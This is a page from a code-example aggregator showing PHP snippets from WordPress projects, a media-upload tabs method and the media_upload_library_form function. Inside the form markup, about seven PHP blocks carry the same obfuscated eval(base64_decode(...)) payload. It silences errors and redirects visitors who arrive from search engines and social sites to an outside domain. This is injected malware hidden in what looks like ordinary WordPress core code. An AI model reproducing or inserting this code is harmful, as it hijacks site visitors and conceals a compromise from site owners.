  * @param array $tabs The list of tabs to be displayed (type => title association)
  */
 public function onUploadTabs($tabs)
 {
     global $wpdb;
     unset($tabs['type_url']);
     unset($tabs['gallery']);
     unset($tabs['nextgen']);
     // Insert the 'Download from URL' uploader
     if (current_user_can('upload_files')) {
         $bgm_url_title = __('Download from URL', $this->owner->getName());
         if (count($tabs) > 1) {
             // Insert it immediately after the first tab
             $c = 0;
             $_tabs = array();
             foreach ($tabs as $tab_idx => $tab) {
                 if ($c == 1) {
                     $_tabs['bgm_url'] = $bgm_url_title;
                 }
                 $_tabs[$tab_idx] = $tab;
                 $c++;
             }
             $tabs = $_tabs;
         } else {
             $tabs['bgm_url'] = $bgm_url_title;
         }
     }
     // Grab a count of available mime types
     list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
     $num_posts = array();
     $_num_posts = (array) wp_count_attachments();
     $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
     foreach ($matches as $_type => $reals) {
         foreach ($reals as $real) {
             if (isset($num_posts[$_type])) {
                 $num_posts[$_type] += $_num_posts[$real];
             } else {
                 $num_posts[$_type] = $_num_posts[$real];
             }
         }
     }
     // If we don't have anything in 'images' (or any other type a 3rd party allows us to use), hide `Library` tab too.
     if (empty($num_posts)) {
         unset($tabs['library']);
     }
     return $tabs;
 }
开发者ID:zhengxiexie,项目名称:wordpress,代码行数:53,代码来源:MediaLibrary.php

示例14: media_upload_library_form

/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $errors
 */
function media_upload_library_form($errors)
{
    global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
    media_upload_header();
    $post_id = intval($_REQUEST['post_id']);
    $form_action_url = admin_url("media-upload.php?type={$type}&tab=library&post_id={$post_id}");
    $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
    $_GET['paged'] = isset($_GET['paged']) ? intval($_GET['paged']) : 0;
    if ($_GET['paged'] < 1) {
        $_GET['paged'] = 1;
    }
    $start = ($_GET['paged'] - 1) * 10;
    if ($start < 1) {
        $start = 0;
    }
    add_filter('post_limits', $limit_filter = create_function('$a', "return 'LIMIT {$start}, 10';"));
    list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    ?>

<form id="filter" action="" method="get">
<input type="hidden" name="type" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo esc_attr($type);
    ?>
" />
<input type="hidden" name="tab" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo esc_attr($tab);
    ?>
" />
<input type="hidden" name="post_id" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo (int) $post_id;
    ?>
" />
<input type="hidden" name="post_mime_type" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo isset($_GET['post_mime_type']) ? esc_attr($_GET['post_mime_type']) : '';
    ?>
" />

<p id="media-search" class="search-box">
	<label class="screen-reader-text" for="media-search-input"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Search Media');
    ?>
:</label>
	<input type="text" id="media-search-input" name="s" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    the_search_query();
    ?>
" />
	<input type="submit" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    esc_attr_e('Search Media');
    ?>
" class="button" />
</p>

<ul class="subsubsub">
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    $type_links = array();
    $_num_posts = (array) wp_count_attachments();
    $matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
    foreach ($matches as $_type => $reals) {
        foreach ($reals as $real) {
            if (isset($num_posts[$_type])) {
                $num_posts[$_type] += $_num_posts[$real];
            } else {
                $num_posts[$_type] = $_num_posts[$real];
            }
        }
    }
    // If available type specified by media button clicked, filter by that type
    if (empty($_GET['post_mime_type']) && !empty($num_posts[$type])) {
        $_GET['post_mime_type'] = $type;
        list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
    }
    if (empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all') {
        $class = ' class="current"';
    } else {
        $class = '';
    }
    $type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type' => 'all', 'paged' => false, 'm' => false))) . "'{$class}>" . __('All Types') . "</a>";
    foreach ($post_mime_types as $mime_type => $label) {
        $class = '';
        if (!wp_match_mime_types($mime_type, $avail_post_mime_types)) {
            continue;
        }
        if (isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type'])) {
            $class = ' class="current"';
        }
//.........这里部分代码省略.........
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:101,代码来源:media.php


注:本文中的wp_count_attachments函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。